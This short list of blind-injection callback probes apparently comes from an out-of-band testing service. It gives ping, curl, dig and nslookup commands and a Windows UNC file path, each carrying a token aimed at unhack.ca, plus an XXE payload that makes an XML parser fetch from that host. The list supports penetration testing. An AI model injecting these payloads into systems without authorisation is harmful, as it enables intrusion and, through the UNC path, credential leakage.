$ ping -c1 -p 002b28c0f93b2f777f0e1011390d0500 unhack.ca
 

$ curl http://unhack.ca/p/2b28c0f93b2f777f0e1011390d05
 

$ dig 2b28c0f93b2f777f0e1011390d05 @unhack.ca
 

$ dig 2b28c0f93b2f777f0e1011390d05.ns.unhack.ca
 

C:\> nslookup 2b28c0f93b2f777f0e1011390d05 unhack.ca
 

C:\> type \\unhack.ca\2b28c0f93b2f777f0e1011390d05\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2b28c0f93b2f777f0e1011390d05">]>
    <foo>&xxe;</foo>